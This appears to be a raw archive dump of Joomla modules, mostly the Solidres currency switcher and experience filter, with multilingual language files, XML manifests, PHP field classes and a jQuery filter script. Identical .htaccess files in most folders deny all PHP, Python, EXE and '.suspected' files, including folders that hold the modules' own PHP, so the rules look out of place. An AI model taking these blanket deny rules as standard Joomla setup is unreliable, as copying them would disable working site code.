MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Modul Währung erlaubt das Wechseln zwischen verfügbaren Währungen"mod_sr_currency/language/he-IL/he-IL.mod_sr_currency.ini000060400000000671150747276160017234 0ustar00MOD_SR_CURRENCY="Solidres - מודול שערי מטבע"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - מודול שערי מטבע מאפשר להחליף בין מטבעות זמינים"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="הצג קוד או סימן"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="בחר האם להציג קוד מטבע או סימן מטבע בחזית ללקוח"
SR_CURRENCY_SHOW_CODE="קוד"
SR_CURRENCY_SHOW_SYMBOL="סימן"mod_sr_currency/language/he-IL/he-IL.mod_sr_currency.sys.ini000060400000000274150747276160020050 0ustar00MOD_SR_CURRENCY="Solidres - מודול שערי מטבע"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - מודול שערי מטבע מאפשר להחליף בין מטבעות זמינים"mod_sr_currency/language/en-GB/en-GB.mod_sr_currency.ini000060400000000606150747276160017216 0ustar00MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allows users to switch between available currencies in the front end"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"mod_sr_currency/language/en-GB/en-GB.mod_sr_currency.sys.ini000060400000000226150747276160020031 0ustar00MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"mod_sr_currency/.htaccess000044400000000177150747276160011561 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_currency/mod_sr_currency.php000060400000003063150747276160013664 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/helper.php';

$lang = JFactory::getLanguage();

JHtml::_('stylesheet', 'com_solidres/assets/main.min.css', array('version' => SRVersion::getHashVersion(), 'relative' => true));
JLoader::import('joomla.application.component.model');
JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/models', 'SolidresModel');
$app              = JFactory::getApplication();
$activeCurrencyId = $app->getUserState('current_currency_id', '');
$currencyModel    = JModelLegacy::getInstance('Currencies', 'SolidresModel', array('ignore_request' => true));
$currencyModel->setState('list.start', 0);
$currencyModel->setState('list.limit', 0);
$currencyModel->setState('filter.state', 1);
$currencyModel->setState('list.ordering', 'u.currency_name');
$currencyList    = $currencyModel->getItems();
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));
$showCodeSymbol  = $params->get('show_code_symbol', 0);

require JModuleHelper::getLayoutPath('mod_sr_currency', $params->get('layout', 'default'));
mod_sr_currency/mod_sr_currency.xml000060400000004671150747276160013703 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension
	type="module"
	version="3.0"
	client="site"
	method="upgrade">
	<name>mod_sr_currency</name>
	<creationDate>Feb 2019</creationDate>
	<author>Solidres Team</author>
	<authorEmail>contact@solidres.com</authorEmail>
	<authorUrl>https://www.solidres.com</authorUrl>
	<copyright>(C) 2013 - 2019 Solidres. All Rights Reserved.</copyright>
	<license>GNU General Public License version 3, or later</license>
	<version>2.9.3</version>
	<description>MOD_SR_CURRENCY_XML_DESCRIPTION</description>
    <!--<scriptfile>mod_sr_currency.scriptfile.php</scriptfile>-->
	<files>
		<filename module="mod_sr_currency">mod_sr_currency.php</filename>
		<filename>helper.php</filename>
		<filename>mod_sr_currency.xml</filename>
		<folder>tmpl</folder>
		<folder>language</folder>
	</files>
	<config>
		<fields name="params">
			<fieldset name="basic" label="COM_MODULES_BASIC_FIELDSET_LABEL">
                <field
                        name="show_code_symbol"
                        type="list"
                        default="0"
                        label="SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL"
                        description="SR_CURRENCY_SHOW_CODE_SYMBOL_DESC">
                    <option
                            value="0">SR_CURRENCY_SHOW_CODE</option>
                    <option
                            value="1">SR_CURRENCY_SHOW_SYMBOL</option>
                </field>
			</fieldset>
			<fieldset
					name="advanced">
				<field
						name="layout"
						type="modulelayout"
						label="JFIELD_ALT_LAYOUT_LABEL"
						description="JFIELD_ALT_MODULE_LAYOUT_DESC" />

				<field
						name="moduleclass_sfx"
						type="textarea" rows="3"
						label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
						description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />

				<field
						name="cache"
						type="list"
						default="1"
						label="COM_MODULES_FIELD_CACHING_LABEL"
						description="COM_MODULES_FIELD_CACHING_DESC">
					<option
							value="1">JGLOBAL_USE_GLOBAL</option>
					<option
							value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
						name="cache_time"
						type="text"
						default="900"
						label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
						description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field
						name="cachemode"
						type="hidden"
						default="static">
					<option
							value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_tags_popular/.htaccess000044400000000177150747276160011723 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_tags_popular/tmpl/.htaccess000044400000000177150747276160012677 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_languages/.htaccess000044400000000177150747276160011171 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_languages/tmpl/.htaccess000044400000000177150747276160012145 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_wrapper/.htaccess000044400000000177150747276160010703 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_wrapper/tmpl/.htaccess000044400000000177150747276160011657 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_popular/.htaccess000044400000000177150747276160012573 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_popular/tmpl/.htaccess000044400000000177150747276160013547 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_syndicate/.htaccess000044400000000177150747276160011206 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_syndicate/tmpl/.htaccess000044400000000177150747276160012162 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_latest/.htaccess000044400000000177150747276160012405 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_latest/tmpl/.htaccess000044400000000177150747276160013361 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_tags_similar/tmpl/.htaccess000044400000000177150747276160012655 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_tags_similar/.htaccess000044400000000177150747276160011701 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_unite_revolution2/.htaccess000044400000000177150747276160012717 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_unite_revolution2/fields/.htaccess000044400000000177150747276160014165 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>.htaccess000044400000000177150747276160006364 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_footer/.htaccess000044400000000177150747276160010521 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_footer/tmpl/.htaccess000044400000000177150747276160011475 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.ini000060400000001737150750153140023056 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - Модуль фильтра туров"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Этот модуль показывает фильтры на фронтэнде для того, чтобы выбирать туры, отфильтрованные по: категории, ценовому диапазону, партнеру, типу передвижения, продолжительности (дней/часов)."
SR_FILTER_CATEGORY="Категория"
SR_FILTER_RANGE_BY_PRICE="Ценовой диапазон"
SR_FILTER_FROM_OWNER="Автор тура"
SR_FILTER_TRANSPORTATION="Передвижения"
SR_FILTER_DURATION_DAYS="Продолжительность (дней)"
SR_FILTER_DURATION_HOURS="Продолжительность (часов)"
SR_MENU_ID_SELECT="Выберите ID меню"
SR_FILTER_REVIEW_SCORE="Рейтинг"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="Расстояние от центра города (км)"mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.sys.ini000060400000000715150750153140023666 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - Модуль фильтра туров"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Этот модуль показывает фильтры на фронтэнде для того, чтобы выбирать туры, отфильтрованные по: категории, ценовому диапазону, партнеру, типу передвижения, продолжительности (дней/часов)."mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.sys.ini000060400000000423150750153140023472 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - Modul Erlebnis Filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Dieses Modul zeigt Filter im Front End an, um Erlebnisse in der Suche zu filtern. Unterstützte Filter sind: Kategorie, Preisspanne, Partner, Transport, Dauer (Tag/Stunde)"
mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.ini000060400000001176150750153140022663 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - Modul Erlebnis Filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Dieses Modul zeigt Filter im Front End an um Erlebnisse in der Suche zu filtern. Unterstützte Filter sind: Kategorie, Preisspanne, Partner, Transport, Dauer (Tag/Stunde)"
SR_FILTER_CATEGORY="Kategorie"
SR_FILTER_RANGE_BY_PRICE="Preisspanne"
SR_FILTER_FROM_OWNER="Von Besitzer"
SR_FILTER_TRANSPORTATION="Transport"
SR_FILTER_DURATION_DAYS="Dauer (Tage)"
SR_FILTER_DURATION_HOURS="Dauer (Stunden)"
SR_MENU_ID_SELECT="Wähle eine Menü ID"
SR_FILTER_REVIEW_SCORE="Bewertung"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="Vom Stadtzentrum (km)"
mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.sys.ini000060400000000442150750153140023517 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - Module experience filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="This modules shows filters in front end to allow filtering experiences in the search results. Supported filters are: category, price range, partner, transportation, duration (day/hour)"mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.ini000060400000001223150750153140022700 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - Module experience filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="This modules shows filters in front end to allow filtering experiences in the search results. Supported filters are: category, price range, partner, transportation, duration (day/hour)"
SR_FILTER_CATEGORY="Category"
SR_FILTER_RANGE_BY_PRICE="Price range"
SR_FILTER_FROM_OWNER="From owner"
SR_FILTER_TRANSPORTATION="Transportation"
SR_FILTER_DURATION_DAYS="Duration (days)"
SR_FILTER_DURATION_HOURS="Duration (hours)"
SR_MENU_ID_SELECT="Select a menu ID"
SR_FILTER_REVIEW_SCORE="Review score"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="From city centre (km)"mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.ini000060400000001465150750153140022724 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - מודול מסנן חוויות "
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="מודולים אלה מציגים מסננים בחזית על מנת לאפשר סינון חוויות בתוצאות החיפוש. מסננים נתמכים הם: קטגוריה, טווח מחירים, שותף, תחבורה, משך זמן (יום / שעה)"
SR_FILTER_CATEGORY="קטגוריה"
SR_FILTER_RANGE_BY_PRICE="טווח מחירים"
SR_FILTER_FROM_OWNER="מאת הבעלים"
SR_FILTER_TRANSPORTATION="תחבורה"
SR_FILTER_DURATION_DAYS="משך זמן (ימים)"
SR_FILTER_DURATION_HOURS="משך זמן (שעות)"
SR_MENU_ID_SELECT="בחר מזהה תפריט"
SR_FILTER_REVIEW_SCORE="דירוג"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="מרחק ממרכז העיר (קילומטרים)"mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.sys.ini000060400000000570150750153140023535 0ustar00MOD_SR_EXPERIENCE_FILTER="Solidres - מודול מסנן חוויות "
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="מודולים אלה מציגים מסננים בחזית על מנת לאפשר סינון חוויות בתוצאות החיפוש. מסננים נתמכים הם: קטגוריה, טווח מחירים, שותף, תחבורה, משך זמן (יום / שעה)"mod_sr_experience_filter/forms/filter.xml000060400000002517150750153140014742 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
    <fieldset name="filter">
        <field
                name="cat"
                type="FilterByCategory"
                label="SR_FILTER_CATEGORY"
                class="exp_filter"
                multiple="true"
        />
        <field
                name="range"
                type="RangeByPrice"
                label="SR_FILTER_RANGE_BY_PRICE"
                class="exp_filter"
        />
        <field
                name="owner"
                type="FilterByPartner"
                label="SR_FILTER_FROM_OWNER"
                class="exp_filter"
        />
        <field
                name="tran"
                type="FilterByTransportation"
                label="SR_FILTER_TRANSPORTATION"
                class="exp_filter"
        />
        <field
                name="review"
                type="FilterByReview"
                label="SR_FILTER_REVIEW_SCORE"
                class="exp_filter"
        />
        <field
                name="distance"
                type="FilterByDistance"
                label="SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM"
                class="exp_filter"
        />
        <field
                name="tag"
                type="FilterByTag"
                label="JTAG"
                class="exp_filter"
        />
    </fieldset>
</form>
mod_sr_experience_filter/mod_sr_experience_filter.xml000060400000005545150750153140017372 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
    <name>mod_sr_experience_filter</name>
    <author>Solidres</author>
    <creationDate>Dec 2019</creationDate>
    <copyright>Copyright (C) 2013 - 2019 Solidres. All rights reserved.</copyright>
    <license>GNU General Public License version 3, or later</license>
    <authorEmail>contact@solidres.com</authorEmail>
    <authorUrl>http://www.solidres.com</authorUrl>
    <version>0.3.0</version>
    <description>MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION</description>
    <files>
        <filename module="mod_sr_experience_filter">mod_sr_experience_filter.php</filename>
        <filename>mod_sr_experience_filter.xml</filename>
        <filename>helper.php</filename>
        <filename>checksums</filename>
        <folder>fields</folder>
        <folder>forms</folder>
        <folder>language</folder>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic">
                <field
                        name="Itemid"
                        type="menuitem"
                        label="SR_MENU_ID_SELECT"/>
            </fieldset>
            <fieldset
                    name="advanced">
                <field
                        name="layout"
                        type="modulelayout"
                        label="JFIELD_ALT_LAYOUT_LABEL"
                        description="JFIELD_ALT_MODULE_LAYOUT_DESC"/>
                <field
                        name="moduleclass_sfx"
                        type="textarea" rows="3"
                        label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
                        description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"/>

                <field
                        name="cache"
                        type="list"
                        default="1"
                        label="COM_MODULES_FIELD_CACHING_LABEL"
                        description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                            value="1">JGLOBAL_USE_GLOBAL
                    </option>
                    <option
                            value="0">COM_MODULES_FIELD_VALUE_NOCACHING
                    </option>
                </field>

                <field
                        name="cache_time"
                        type="text"
                        default="900"
                        label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
                        description="COM_MODULES_FIELD_CACHE_TIME_DESC"/>
                <field
                        name="cachemode"
                        type="hidden"
                        default="static">
                    <option
                            value="static"></option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>
mod_sr_experience_filter/mod_sr_experience_filter.php000060400000001650150750153140017352 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

if (SRPlugin::isEnabled('experience'))
{
	require_once __DIR__ . '/helper.php';

	$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));
	$form            = ModSRExperienceFilterHelper::getForm();

	require JModuleHelper::getLayoutPath('mod_sr_experience_filter', $params->get('layout', 'default'));
}
else
{
	echo 'Please enable Solidres Experience plugin to use this module!';
}mod_sr_experience_filter/tmpl/default.php000060400000014255150750153140014720 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_experience_filter/default.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;
/** @var $form \JForm */

$input        = JFactory::getApplication()->input;
$Itemid       = (int) $params->get('Itemid', 0);
$activeItemId = (int) $input->getUint('Itemid', 0);
$option       = $input->get('option');
$view         = $input->get('view');
$redirect     = $option !== 'com_solidres' || $view !== 'experiences' || !$Itemid || $Itemid !== $activeItemId;

if ($Itemid)
{
	$baseUrl = JRoute::_(SRExperienceHelper::getItemsRoute(array(), $Itemid), false);
}
else
{
	$baseUrl = JUri::getInstance()->toString();
}

JFactory::getDocument()->addStyleDeclaration(
	'.solidres-module-experience-filter fieldset{margin: 0 0 10px 0}'
	. '.solidres-module-experience-filter label>h4{margin: 0}'
);

?>

<div id="solidres-module-experience-<?php echo $module->id; ?>"
     class="sr-experience solidres-module-experience-filter <?php echo SR_UI; ?>">
	<?php foreach ($form->getFieldset('filter') as $field): ?>
        <label>
            <h4><?php echo JText::_($field->getAttribute('label')); ?></h4>
        </label>
		<?php echo $field->input; ?>
	<?php endforeach; ?>
</div>
<script>
    Solidres.jQuery(document).ready(function ($) {
        var wrapper = $('#sr-exp-container-items');
        var filterCallback = function () {
            var
                search = location.search ? location.search.substr(1) : '',
                params = {};
            search = search.split('&');

            if (search.length) {
                for (var i = 0, n = search.length; i < n; i++) {
                    var parts = search[i].split('=');
                    if (parts.length === 2) {
                        if (parts[0] === 'ordering' || parts[0] === 'direction' || parts[0] === 'mode') {
                            params[parts[0]] = parts[1];
                        }
                    }
                }
            }

            $('.exp_filter input[type="checkbox"]:checked').each(function () {
                var
                    checkbox = $(this),
                    name = checkbox.attr('name').toString().replace(/(\[\])$/g, '');
                if (typeof params[name] === 'undefined') {
                    params[name] = checkbox.val().toString();
                } else {
                    params[name] += '|' + checkbox.val().toString();
                }
            });

            var distance = '0-0';

            if ($('.sr-range-distance input').length) {
                distance = $('.sr-range-distance input').val().toString().replace(/[^0-9\-\.]/g, '');
                params.distance = distance;
            }

            $.ajax({
                url: '<?php echo JUri::root(true) . '/index.php?option=com_solidres&task=experiences.filter'; ?>',
                type: 'post',
                dataType: 'json',
                data: {
                    Itemid: '<?php echo $Itemid; ?>',
                    baseUrl: '<?php echo $baseUrl; ?>',
                    params: params,
                    moduleId: <?php echo (int) $module->id; ?>
                },
                success: function (response) {
                    wrapper.removeClass('loading');
                    if (response.success) {
                        var html = $('<div>' + response.data.html + '</div>').find('#sr-exp-container-items').html();
                        var module = $(response.data.contentModule).html();

						<?php if($redirect): ?>
                        location.href = response.data.page;
						<?php else: ?>

                        if (history.pushState) {
                            history.pushState({
                                    contentHtml: html,
                                    contentModule: module
                                }, document.title, response.data.page
                            );
                        }

                        wrapper.html(html);

                        if (module.length) {
                            $('#solidres-module-experience-<?php echo $module->id; ?>').html(module);
                        }

                        if (typeof window.distanceSlider === 'function') {
                            window.distanceSlider(distance);
                        }

                        if (wrapper.length) {
                            $('html, body').animate({
                                scrollTop: wrapper.offset().top
                            }, 400);
                        }

						<?php endif; ?>
                    } else {
                        alert(response.message);
                    }
                }
            });
        };

        $('.solidres-module-experience-filter ').on('change', '.sr-range-distance input, .exp_filter input[type="checkbox"]', function (e) {
            e.preventDefault();
			<?php if(!$redirect): ?>
            wrapper.addClass('loading');
			<?php endif; ?>
            filterCallback();
        });

        $(window).on('popstate', function () {
            if (history.state && history.state.contentHtml) {
                wrapper.html(history.state.contentHtml);
                if (history.state.contentModule.length) {
                    $('#solidres-module-experience-<?php echo $module->id; ?>').html(history.state.contentModule);
                }
            }
        });
    });
</script>
mod_sr_experience_filter/fields/filterbytag.php000060400000004554150750153140016103 0ustar00<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;

JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByTag extends JFormFieldCheckboxes
{
	protected $type = 'FilterByTag';

	protected function getOptions()
	{
		$app   = Factory::getApplication();
		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT a.alias AS value, a.title AS text, ' . $db->q('') . ' AS checked')
			->from('#__tags AS a')
			->join('INNER', $db->quoteName('#__contentitem_tag_map', 'm') . ' ON ' . $db->quoteName('m.tag_id') . ' = ' . $db->quoteName('a.id'))
			->join('LEFT', $db->quoteName('#__tags', 'a2') . ' ON a.lft > a2.lft AND a.rgt < a2.rgt')
			->where('a.lft > 0 AND a.published = 1')
			->where('m.type_alias = ' . $db->quote('com_solidres.experience'))
			->order('a.lft ASC');

		if (Multilanguage::isEnabled())
		{
			$lang = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter');

			if ($lang == 'current_language')
			{
				$query->where('a.language in (' . $db->quote($app->getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
			}
		}

		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			return [];
		}

		$options    = array_merge(parent::getOptions(), $options);
		$filterData = $app->getUserState('com_solidres.experience.filterData', []);
		$active     = explode('|', $app->input->getString('tag', ''));

		foreach ($options as $option)
		{
			$value = trim($option->value);

			if ($filterData && !empty($filterData['tag'][$value]))
			{
				$option->text .= ' (' . $filterData['tag'][$value] . ')';
			}

			if (in_array($value, $active))
			{
				$option->checked = 1;
			}
		}

		return $options;
	}

}
mod_sr_experience_filter/fields/filterbyreview.php000060400000002740150750153140016624 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;
JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByReview extends JFormFieldCheckboxes
{
	protected $type = 'FilterByReview';

	protected function getOptions()
	{
		$options    = array();
		$app        = JFactory::getApplication();
		$filterData = $app->getUserState('com_solidres.experience.filterData', array());
		$active     = explode('|', $app->input->getString('review', ''));

		foreach (PlgSolidresFeedback::getReviewRange() as $value => $text)
		{
			if ($filterData && !empty($filterData['review'][$value]))
			{
				$text .= ' (' . $filterData['review'][$value] . ')';
			}

			$option          = new stdClass;
			$option->checked = '';
			$option->value   = $value;
			$option->text    = $text;
			$options[]       = $option;

			if (isset($active[0]) && $active[0] == $value)
			{
				$option->checked = 1;
				break;
			}
		}

		return array_merge(parent::getOptions(), $options);
	}
}mod_sr_experience_filter/fields/rangebyprice.php000060400000005261150750153140016235 0ustar00<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

JFormHelper::loadFieldClass('checkboxes');
JLoader::register('SRExperienceHelper', SRPlugin::getAdminPath('experience') . '/helpers/experience.php');
JLoader::register('SRCurrency', SRPATH_LIBRARY . '/currency/currency.php');

class JFormFieldRangeByPrice extends JFormFieldCheckboxes
{
	protected $type = 'RangeByPrice';

	protected function getOptions()
	{
		$options           = array();
		$app               = JFactory::getApplication('site');
		$currentCurrencyId = $app->input->cookie->get('solidres_currency', 0, 'int');

		if (!$currentCurrencyId)
		{
			$currentCurrencyId = JComponentHelper::getParams('com_solidres')->get('default_currency_id', 0);
		}

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('filter_range')
			->from('#__sr_currencies')
			->where('id = ' . (int) $currentCurrencyId);
		$db->setQuery($query);
		$ranges     = explode("\r\n", $db->loadResult());
		$app        = JFactory::getApplication();
		$filterData = $app->getUserState('com_solidres.experience.filterData', array());
		$active     = explode('|', $app->input->getString('range', ''));

		foreach ($ranges as $range)
		{
			$range = str_ireplace('plus', '0', trim($range));
			$parts = explode('-', $range, 2);

			if (count($parts) == 2)
			{
				$min         = (float) $parts[0];
				$max         = (float) $parts[1];
				$value       = $min . '-' . $max;
				$minCurrency = new SRCurrency(0, $currentCurrencyId);
				$maxCurrency = new SRCurrency(0, $currentCurrencyId);
				$minCurrency->setValue($min, false);
				$maxCurrency->setValue($max, false);

				if ($min > 0.00 && $max > 0.00)
				{
					$text = $minCurrency->format() . ' - ' . $maxCurrency->format();
				}
				elseif ($min < 0.01)
				{
					$text = '<= ' . $maxCurrency->format();
				}
				else
				{
					$text = '>= ' . $minCurrency->format();
				}

				if ($filterData && !empty($filterData['range'][$value]))
				{
					$text .= ' (' . $filterData['range'][$value] . ')';
				}

				$option          = new stdClass;
				$option->value   = $value;
				$option->text    = $text;
				$option->checked = in_array($range, $active);
				$options[]       = $option;
			}
		}

		return array_merge(parent::getOptions(), $options);
	}
}
mod_sr_experience_filter/fields/filterbypartner.php000060400000003257150750153140017002 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
